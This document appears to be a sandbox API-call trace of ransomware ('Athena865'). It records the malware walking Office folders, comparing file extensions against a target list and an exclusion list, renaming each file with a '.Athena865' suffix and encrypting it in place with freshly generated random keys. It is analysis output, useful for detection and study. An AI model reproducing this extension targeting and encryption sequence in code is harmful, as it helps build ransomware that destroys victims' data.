[0148.098] lstrlenW (lpString="sbf") returned 3 [0148.098] lstrcmpiW (lpString1="HXC", lpString2="sbf") returned -1 [0148.098] lstrlenW (lpString="scx") returned 3 [0148.098] lstrcmpiW (lpString1="HXC", lpString2="scx") returned -1 [0148.098] lstrlenW (lpString="sdb") returned 3 [0148.098] lstrcmpiW (lpString1="HXC", lpString2="sdb") returned -1 [0148.098] lstrlenW (lpString="sdc") returned 3 [0148.098] lstrcmpiW (lpString1="HXC", lpString2="sdc") returned -1 [0148.098] lstrlenW (lpString="sdf") returned 3 [0148.098] lstrcmpiW (lpString1="HXC", lpString2="sdf") returned -1 [0148.098] lstrlenW (lpString="sis") returned 3 [0148.098] lstrcmpiW (lpString1="HXC", lpString2="sis") returned -1 [0148.098] lstrlenW (lpString="spq") returned 3 [0148.098] lstrcmpiW (lpString1="HXC", lpString2="spq") returned -1 [0148.098] lstrlenW (lpString="te") returned 2 [0148.098] lstrcmpiW (lpString1="XC", lpString2="te") returned 1 [0148.098] lstrlenW (lpString="teacher") returned 7 [0148.098] lstrcmpiW (lpString1="COL.HXC", lpString2="teacher") returned -1 [0148.098] lstrlenW (lpString="tmd") returned 3 [0148.098] lstrcmpiW (lpString1="HXC", lpString2="tmd") returned -1 [0148.098] lstrlenW (lpString="tps") returned 3 [0148.098] lstrcmpiW (lpString1="HXC", lpString2="tps") returned -1 [0148.099] lstrlenW (lpString="trc") returned 3 [0148.099] lstrcmpiW (lpString1="HXC", lpString2="trc") returned -1 [0148.099] lstrlenW (lpString="trc") returned 3 [0148.099] lstrcmpiW (lpString1="HXC", lpString2="trc") returned -1 [0148.099] lstrlenW (lpString="trm") returned 3 [0148.099] lstrcmpiW (lpString1="HXC", lpString2="trm") returned -1 [0148.099] lstrlenW (lpString="udb") returned 3 [0148.099] lstrcmpiW (lpString1="HXC", lpString2="udb") returned -1 [0148.099] lstrlenW (lpString="udl") returned 3 [0148.099] lstrcmpiW (lpString1="HXC", lpString2="udl") returned -1 [0148.099] lstrlenW (lpString="usr") returned 3 [0148.099] lstrcmpiW (lpString1="HXC", lpString2="usr") returned -1 [0148.099] lstrlenW (lpString="v12") returned 3 [0148.099] lstrcmpiW (lpString1="HXC", lpString2="v12") returned -1 [0148.099] lstrlenW (lpString="vis") returned 3 [0148.099] lstrcmpiW (lpString1="HXC", lpString2="vis") returned -1 [0148.099] lstrlenW (lpString="vpd") returned 3 [0148.099] lstrcmpiW (lpString1="HXC", lpString2="vpd") returned -1 [0148.099] lstrlenW (lpString="vvv") returned 3 [0148.099] lstrcmpiW (lpString1="HXC", lpString2="vvv") returned -1 [0148.099] lstrlenW (lpString="wdb") returned 3 [0148.099] lstrcmpiW (lpString1="HXC", lpString2="wdb") returned -1 [0148.099] lstrlenW (lpString="wmdb") returned 4 [0148.099] lstrcmpiW (lpString1=".HXC", lpString2="wmdb") returned -1 [0148.099] lstrlenW (lpString="wrk") returned 3 [0148.099] lstrcmpiW (lpString1="HXC", lpString2="wrk") returned -1 [0148.099] lstrlenW (lpString="xdb") returned 3 [0148.100] lstrcmpiW (lpString1="HXC", lpString2="xdb") returned -1 [0148.100] lstrlenW (lpString="xld") returned 3 [0148.100] lstrcmpiW (lpString1="HXC", lpString2="xld") returned -1 [0148.100] lstrlenW (lpString="xmlff") returned 5 [0148.100] lstrcmpiW (lpString1="L.HXC", lpString2="xmlff") returned -1 [0148.100] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC.Athena865") returned 75 [0148.100] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_col.hxc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_col.hxc.athena865"), dwFlags=0x1) returned 1 [0148.102] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXC.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_col.hxc.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0148.103] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=641) returned 1 [0148.103] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0148.103] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0148.103] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0148.103] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0148.104] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0148.104] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0148.104] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x590, lpName=0x0) returned 0x154 [0148.106] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x590) returned 0x100000 [0148.106] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0148.107] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0148.107] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0148.107] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0148.107] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0148.107] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0148.107] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0148.107] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0148.107] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0148.107] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534f48 [0148.108] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0148.108] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534f48 | out: hHeap=0x4f0000) returned 1 [0148.108] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0148.108] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0148.108] CloseHandle (hObject=0x154) returned 1 [0148.108] CloseHandle (hObject=0x17c) returned 1 [0148.108] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0148.108] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0148.108] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0148.109] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5be72800, ftCreationTime.dwHighDateTime=0x1ca53a7, ftLastAccessTime.dwLowDateTime=0x52060500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x5be72800, ftLastWriteTime.dwHighDateTime=0x1ca53a7, nFileSizeHigh=0x0, nFileSizeLow=0xd1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VISIO_PRM_COL.HXT", cAlternateFileName="VISIO_~2.HXT")) returned 1 [0148.109] lstrcmpiW (lpString1="VISIO_PRM_COL.HXT", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0148.109] lstrcmpiW (lpString1="VISIO_PRM_COL.HXT", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0148.109] lstrcmpiW (lpString1="VISIO_PRM_COL.HXT", lpString2=".") returned 1 [0148.109] lstrcmpiW (lpString1="VISIO_PRM_COL.HXT", lpString2="..") returned 1 [0148.109] lstrcmpiW (lpString1="VISIO_PRM_COL.HXT", lpString2="windows") returned -1 [0148.109] lstrcmpiW (lpString1="VISIO_PRM_COL.HXT", lpString2="bootmgr") returned 1 [0148.109] lstrcmpiW (lpString1="VISIO_PRM_COL.HXT", lpString2="temp") returned 1 [0148.109] lstrcmpiW (lpString1="VISIO_PRM_COL.HXT", lpString2="pagefile.sys") returned 1 [0148.109] lstrcmpiW (lpString1="VISIO_PRM_COL.HXT", lpString2="boot") returned 1 [0148.109] lstrcmpiW (lpString1="VISIO_PRM_COL.HXT", lpString2="ids.txt") returned 1 [0148.109] lstrcmpiW (lpString1="VISIO_PRM_COL.HXT", lpString2="ntuser.dat") returned 1 [0148.109] lstrcmpiW (lpString1="VISIO_PRM_COL.HXT", lpString2="perflogs") returned 1 [0148.109] lstrcmpiW (lpString1="VISIO_PRM_COL.HXT", lpString2="MSBuild") returned 1 [0148.109] lstrlenW (lpString="VISIO_PRM_COL.HXT") returned 17 [0148.109] lstrcpyW (in: lpString1=0x241e8a8, lpString2="VISIO_PRM_COL.HXT" | out: lpString1="VISIO_PRM_COL.HXT") returned="VISIO_PRM_COL.HXT" [0148.109] lstrlenW (lpString="VISIO_PRM_COL.HXT") returned 17 [0148.109] lstrlenW (lpString="Athena865") returned 9 [0148.109] lstrcmpiW (lpString1="M_COL.HXT", lpString2="Athena865") returned 1 [0148.109] lstrlenW (lpString=".dll") returned 4 [0148.109] lstrcmpiW (lpString1="VISIO_PRM_COL.HXT", lpString2=".dll") returned 1 [0148.109] lstrlenW (lpString=".lnk") returned 4 [0148.109] lstrcmpiW (lpString1="VISIO_PRM_COL.HXT", lpString2=".lnk") returned 1 [0148.110] lstrlenW (lpString=".ini") returned 4 [0148.110] lstrcmpiW (lpString1="VISIO_PRM_COL.HXT", lpString2=".ini") returned 1 [0148.110] lstrlenW (lpString=".sys") returned 4 [0148.110] lstrcmpiW (lpString1="VISIO_PRM_COL.HXT", lpString2=".sys") returned 1 [0148.110] lstrlenW (lpString="VISIO_PRM_COL.HXT") returned 17 [0148.110] lstrlenW (lpString="bak") returned 3 [0148.110] lstrcmpiW (lpString1="HXT", lpString2="bak") returned 1 [0148.110] lstrlenW (lpString="ba_") returned 3 [0148.110] lstrcmpiW (lpString1="HXT", lpString2="ba_") returned 1 [0148.110] lstrlenW (lpString="dbb") returned 3 [0148.110] lstrcmpiW (lpString1="HXT", lpString2="dbb") returned 1 [0148.110] lstrlenW (lpString="vmdk") returned 4 [0148.110] lstrcmpiW (lpString1=".HXT", lpString2="vmdk") returned -1 [0148.110] lstrlenW (lpString="rar") returned 3 [0148.110] lstrcmpiW (lpString1="HXT", lpString2="rar") returned -1 [0148.110] lstrlenW (lpString="zip") returned 3 [0148.110] lstrcmpiW (lpString1="HXT", lpString2="zip") returned -1 [0148.110] lstrlenW (lpString="tgz") returned 3 [0148.110] lstrcmpiW (lpString1="HXT", lpString2="tgz") returned -1 [0148.110] lstrlenW (lpString="vbox") returned 4 [0148.110] lstrcmpiW (lpString1=".HXT", lpString2="vbox") returned -1 [0148.110] lstrlenW (lpString="vdi") returned 3 [0148.110] lstrcmpiW (lpString1="HXT", lpString2="vdi") returned -1 [0148.110] lstrlenW (lpString="vhd") returned 3 [0148.110] lstrcmpiW (lpString1="HXT", lpString2="vhd") returned -1 [0148.110] lstrlenW (lpString="vhdx") returned 4 [0148.110] lstrcmpiW (lpString1=".HXT", lpString2="vhdx") returned -1 [0148.110] lstrlenW (lpString="avhd") returned 4 [0148.110] lstrcmpiW (lpString1=".HXT", lpString2="avhd") returned -1 [0148.110] lstrlenW (lpString="db") returned 2 [0148.111] lstrcmpiW (lpString1="XT", lpString2="db") returned 1 [0148.111] lstrlenW (lpString="db2") returned 3 [0148.111] lstrcmpiW (lpString1="HXT", lpString2="db2") returned 1 [0148.111] lstrlenW (lpString="db3") returned 3 [0148.111] lstrcmpiW (lpString1="HXT", lpString2="db3") returned 1 [0148.111] lstrlenW (lpString="dbf") returned 3 [0148.111] lstrcmpiW (lpString1="HXT", lpString2="dbf") returned 1 [0148.111] lstrlenW (lpString="mdf") returned 3 [0148.111] lstrcmpiW (lpString1="HXT", lpString2="mdf") returned -1 [0148.111] lstrlenW (lpString="mdb") returned 3 [0148.111] lstrcmpiW (lpString1="HXT", lpString2="mdb") returned -1 [0148.111] lstrlenW (lpString="sql") returned 3 [0148.111] lstrcmpiW (lpString1="HXT", lpString2="sql") returned -1 [0148.111] lstrlenW (lpString="sqlite") returned 6 [0148.111] lstrcmpiW (lpString1="OL.HXT", lpString2="sqlite") returned -1 [0148.111] lstrlenW (lpString="sqlite3") returned 7 [0148.111] lstrcmpiW (lpString1="COL.HXT", lpString2="sqlite3") returned -1 [0148.111] lstrlenW (lpString="sqlitedb") returned 8 [0148.111] lstrcmpiW (lpString1="_COL.HXT", lpString2="sqlitedb") returned -1 [0148.111] lstrlenW (lpString="xml") returned 3 [0148.111] lstrcmpiW (lpString1="HXT", lpString2="xml") returned -1 [0148.111] lstrlenW (lpString="$er") returned 3 [0148.111] lstrcmpiW (lpString1="HXT", lpString2="$er") returned 1 [0148.111] lstrlenW (lpString="4dd") returned 3 [0148.111] lstrcmpiW (lpString1="HXT", lpString2="4dd") returned 1 [0148.111] lstrlenW (lpString="4dl") returned 3 [0148.111] lstrcmpiW (lpString1="HXT", lpString2="4dl") returned 1 [0148.111] lstrlenW (lpString="^^^") returned 3 [0148.111] lstrcmpiW (lpString1="HXT", lpString2="^^^") returned 1 [0148.112] lstrlenW (lpString="abs") returned 3 [0148.112] lstrcmpiW (lpString1="HXT", lpString2="abs") returned 1 [0148.112] lstrlenW (lpString="abx") returned 3 [0148.112] lstrcmpiW (lpString1="HXT", lpString2="abx") returned 1 [0148.112] lstrlenW (lpString="accdb") returned 5 [0148.112] lstrcmpiW (lpString1="L.HXT", lpString2="accdb") returned 1 [0148.112] lstrlenW (lpString="accdc") returned 5 [0148.112] lstrcmpiW (lpString1="L.HXT", lpString2="accdc") returned 1 [0148.112] lstrlenW (lpString="accde") returned 5 [0148.112] lstrcmpiW (lpString1="L.HXT", lpString2="accde") returned 1 [0148.112] lstrlenW (lpString="accdr") returned 5 [0148.112] lstrcmpiW (lpString1="L.HXT", lpString2="accdr") returned 1 [0148.112] lstrlenW (lpString="accdt") returned 5 [0148.112] lstrcmpiW (lpString1="L.HXT", lpString2="accdt") returned 1 [0148.112] lstrlenW (lpString="accdw") returned 5 [0148.112] lstrcmpiW (lpString1="L.HXT", lpString2="accdw") returned 1 [0148.112] lstrlenW (lpString="accft") returned 5 [0148.112] lstrcmpiW (lpString1="L.HXT", lpString2="accft") returned 1 [0148.112] lstrlenW (lpString="adb") returned 3 [0148.112] lstrcmpiW (lpString1="HXT", lpString2="adb") returned 1 [0148.112] lstrlenW (lpString="adb") returned 3 [0148.112] lstrcmpiW (lpString1="HXT", lpString2="adb") returned 1 [0148.112] lstrlenW (lpString="ade") returned 3 [0148.112] lstrcmpiW (lpString1="HXT", lpString2="ade") returned 1 [0148.112] lstrlenW (lpString="adf") returned 3 [0148.112] lstrcmpiW (lpString1="HXT", lpString2="adf") returned 1 [0148.112] lstrlenW (lpString="adn") returned 3 [0148.112] lstrcmpiW (lpString1="HXT", lpString2="adn") returned 1 [0148.112] lstrlenW (lpString="adp") returned 3 [0148.112] lstrcmpiW (lpString1="HXT", lpString2="adp") returned 1 [0148.113] lstrlenW (lpString="alf") returned 3 [0148.113] lstrcmpiW (lpString1="HXT", lpString2="alf") returned 1 [0148.113] lstrlenW (lpString="ask") returned 3 [0148.113] lstrcmpiW (lpString1="HXT", lpString2="ask") returned 1 [0148.113] lstrlenW (lpString="btr") returned 3 [0148.113] lstrcmpiW (lpString1="HXT", lpString2="btr") returned 1 [0148.113] lstrlenW (lpString="cat") returned 3 [0148.113] lstrcmpiW (lpString1="HXT", lpString2="cat") returned 1 [0148.113] lstrlenW (lpString="cdb") returned 3 [0148.113] lstrcmpiW (lpString1="HXT", lpString2="cdb") returned 1 [0148.113] lstrlenW (lpString="ckp") returned 3 [0148.113] lstrcmpiW (lpString1="HXT", lpString2="ckp") returned 1 [0148.113] lstrlenW (lpString="cma") returned 3 [0148.113] lstrcmpiW (lpString1="HXT", lpString2="cma") returned 1 [0148.113] lstrlenW (lpString="cpd") returned 3 [0148.113] lstrcmpiW (lpString1="HXT", lpString2="cpd") returned 1 [0148.113] lstrlenW (lpString="dacpac") returned 6 [0148.113] lstrcmpiW (lpString1="OL.HXT", lpString2="dacpac") returned 1 [0148.113] lstrlenW (lpString="dad") returned 3 [0148.113] lstrcmpiW (lpString1="HXT", lpString2="dad") returned 1 [0148.113] lstrlenW (lpString="dadiagrams") returned 10 [0148.113] lstrcmpiW (lpString1="RM_COL.HXT", lpString2="dadiagrams") returned 1 [0148.113] lstrlenW (lpString="daschema") returned 8 [0148.113] lstrcmpiW (lpString1="_COL.HXT", lpString2="daschema") returned -1 [0148.113] lstrlenW (lpString="db-journal") returned 10 [0148.113] lstrcmpiW (lpString1="RM_COL.HXT", lpString2="db-journal") returned 1 [0148.113] lstrlenW (lpString="db-shm") returned 6 [0148.113] lstrcmpiW (lpString1="OL.HXT", lpString2="db-shm") returned 1 [0148.113] lstrlenW (lpString="db-wal") returned 6 [0148.113] lstrcmpiW (lpString1="OL.HXT", lpString2="db-wal") returned 1 [0148.114] lstrlenW (lpString="dbc") returned 3 [0148.114] lstrcmpiW (lpString1="HXT", lpString2="dbc") returned 1 [0148.114] lstrlenW (lpString="dbs") returned 3 [0148.114] lstrcmpiW (lpString1="HXT", lpString2="dbs") returned 1 [0148.114] lstrlenW (lpString="dbt") returned 3 [0148.114] lstrcmpiW (lpString1="HXT", lpString2="dbt") returned 1 [0148.114] lstrlenW (lpString="dbv") returned 3 [0148.114] lstrcmpiW (lpString1="HXT", lpString2="dbv") returned 1 [0148.114] lstrlenW (lpString="dbx") returned 3 [0148.114] lstrcmpiW (lpString1="HXT", lpString2="dbx") returned 1 [0148.114] lstrlenW (lpString="dcb") returned 3 [0148.114] lstrcmpiW (lpString1="HXT", lpString2="dcb") returned 1 [0148.114] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT.Athena865") returned 75 [0148.114] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_col.hxt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_col.hxt.athena865"), dwFlags=0x1) returned 1 [0148.116] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_col.hxt.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0148.116] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=209) returned 1 [0148.116] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0148.116] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0148.116] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0148.116] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0148.117] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0148.117] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0148.117] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3e0, lpName=0x0) returned 0x154 [0148.119] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3e0) returned 0x100000 [0148.120] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0148.120] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0148.120] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0148.120] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0148.120] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0148.121] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0148.121] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0148.121] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0148.121] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0148.121] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534d20 [0148.121] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0148.121] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d20 | out: hHeap=0x4f0000) returned 1 [0148.121] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0148.121] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0148.121] CloseHandle (hObject=0x154) returned 1 [0148.121] CloseHandle (hObject=0x17c) returned 1 [0148.121] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0148.121] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0148.121] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0148.122] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa724d200, ftCreationTime.dwHighDateTime=0x1ca5059, ftLastAccessTime.dwLowDateTime=0x52060500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa724d200, ftLastWriteTime.dwHighDateTime=0x1ca5059, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VISIO_PRM_F_COL.HXK", cAlternateFileName="VISIO_~3.HXK")) returned 1 [0148.122] lstrcmpiW (lpString1="VISIO_PRM_F_COL.HXK", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0148.122] lstrcmpiW (lpString1="VISIO_PRM_F_COL.HXK", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0148.122] lstrcmpiW (lpString1="VISIO_PRM_F_COL.HXK", lpString2=".") returned 1 [0148.122] lstrcmpiW (lpString1="VISIO_PRM_F_COL.HXK", lpString2="..") returned 1 [0148.122] lstrcmpiW (lpString1="VISIO_PRM_F_COL.HXK", lpString2="windows") returned -1 [0148.122] lstrcmpiW (lpString1="VISIO_PRM_F_COL.HXK", lpString2="bootmgr") returned 1 [0148.122] lstrcmpiW (lpString1="VISIO_PRM_F_COL.HXK", lpString2="temp") returned 1 [0148.122] lstrcmpiW (lpString1="VISIO_PRM_F_COL.HXK", lpString2="pagefile.sys") returned 1 [0148.122] lstrcmpiW (lpString1="VISIO_PRM_F_COL.HXK", lpString2="boot") returned 1 [0148.122] lstrcmpiW (lpString1="VISIO_PRM_F_COL.HXK", lpString2="ids.txt") returned 1 [0148.122] lstrcmpiW (lpString1="VISIO_PRM_F_COL.HXK", lpString2="ntuser.dat") returned 1 [0148.122] lstrcmpiW (lpString1="VISIO_PRM_F_COL.HXK", lpString2="perflogs") returned 1 [0148.122] lstrcmpiW (lpString1="VISIO_PRM_F_COL.HXK", lpString2="MSBuild") returned 1 [0148.122] lstrlenW (lpString="VISIO_PRM_F_COL.HXK") returned 19 [0148.122] lstrcpyW (in: lpString1=0x241e8a8, lpString2="VISIO_PRM_F_COL.HXK" | out: lpString1="VISIO_PRM_F_COL.HXK") returned="VISIO_PRM_F_COL.HXK" [0148.122] lstrlenW (lpString="VISIO_PRM_F_COL.HXK") returned 19 [0148.122] lstrlenW (lpString="Athena865") returned 9 [0148.122] lstrcmpiW (lpString1="F_COL.HXK", lpString2="Athena865") returned 1 [0148.122] lstrlenW (lpString=".dll") returned 4 [0148.122] lstrcmpiW (lpString1="VISIO_PRM_F_COL.HXK", lpString2=".dll") returned 1 [0148.122] lstrlenW (lpString=".lnk") returned 4 [0148.122] lstrcmpiW (lpString1="VISIO_PRM_F_COL.HXK", lpString2=".lnk") returned 1 [0148.122] lstrlenW (lpString=".ini") returned 4 [0148.122] lstrcmpiW (lpString1="VISIO_PRM_F_COL.HXK", lpString2=".ini") returned 1 [0148.122] lstrlenW (lpString=".sys") returned 4 [0148.122] lstrcmpiW (lpString1="VISIO_PRM_F_COL.HXK", lpString2=".sys") returned 1 [0148.122] lstrlenW (lpString="VISIO_PRM_F_COL.HXK") returned 19 [0148.123] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK.Athena865") returned 77 [0148.123] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_f_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_f_col.hxk.athena865"), dwFlags=0x1) returned 1 [0148.124] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_f_col.hxk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0148.124] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=114) returned 1 [0148.124] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0148.125] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0148.125] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0148.125] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0148.125] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0148.125] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0148.126] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x380, lpName=0x0) returned 0x154 [0148.127] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x380) returned 0x100000 [0148.128] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0148.129] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0148.129] CryptReleaseContext 